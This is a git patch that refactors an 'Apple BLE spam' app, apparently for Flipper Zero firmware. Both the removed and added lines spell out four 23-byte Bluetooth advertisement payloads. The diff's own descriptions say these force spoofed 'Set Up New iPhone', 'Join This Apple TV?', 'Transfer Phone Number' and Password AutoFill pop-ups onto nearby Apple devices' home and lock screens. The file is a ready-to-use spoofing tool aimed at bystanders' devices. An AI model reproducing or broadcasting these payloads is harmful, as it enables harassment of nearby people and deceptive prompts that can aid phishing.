From 2b0bc5d91ea43423f358a083f8761b34bc4ba493 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 3 Sep 2023 18:33:53 +0200 Subject: [PATCH] Refactor adv struct in apple ble spam app --nobuild --- .../external/apple_ble_spam/apple_ble_spam.c | 39 ++++++------------- 1 file changed, 12 insertions(+), 27 deletions(-) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index f174e3ed2..608c64695 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -6,56 +6,41 @@ #include "apple_ble_spam_icons.h" #include +#define PAYLOAD_ADV_LEN 23 + typedef struct { const char* title; const char* text; - const size_t adv_len; - const uint8_t* adv_data; + const uint8_t adv[PAYLOAD_ADV_LEN]; } Payload; // Payload data by @techryptic // https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/ -static const uint8_t apple_keyboard_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, - 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; - -static const uint8_t new_iphone_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, - 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x09, 0x60, 0x4c, - 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00}; - -static const uint8_t join_appletv_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, - 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x27, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; - -static const uint8_t transfer_number_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, - 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x02, 0x60, 0x4c, - 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00}; - static const Payload payloads[] = { { .title = "Apple Keyboard", .text = "'Password AutoFill for Apple TV Keyboard' banner notification", - .adv_len = COUNT_OF(apple_keyboard_adv), - .adv_data = apple_keyboard_adv, + .adv = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, + 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, }, { .title = "New iPhone", .text = "'Set Up New iPhone' dialog on homescreen and lockscreen", - .adv_len = COUNT_OF(new_iphone_adv), - .adv_data = new_iphone_adv, + .adv = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, + 0xc0, 0x09, 0x60, 0x4c, 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00}, }, { .title = "Join AppleTV", .text = "'Join This Apple TV?' dialog on homescreen and lockscreen", - .adv_len = COUNT_OF(join_appletv_adv), - .adv_data = join_appletv_adv, + .adv = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, + 0xc0, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, }, { .title = "Transfer Number", .text = "'Transfer Phone Number' dialog on homescreen and lockscreen", - .adv_len = COUNT_OF(transfer_number_adv), - .adv_data = transfer_number_adv, + .adv = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, + 0xc0, 0x02, 0x60, 0x4c, 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00}, }, }; @@ -79,7 +64,7 @@ static void toggle_payload(bool* advertising, size_t payload_index) { *advertising = !*advertising; if(*advertising) { const Payload* payload = &payloads[payload_index]; - furi_hal_bt_set_custom_adv_data(payload->adv_data, payload->adv_len); + furi_hal_bt_set_custom_adv_data(payload->adv, PAYLOAD_ADV_LEN); } else { furi_hal_bt_set_custom_adv_data(NULL, 0); }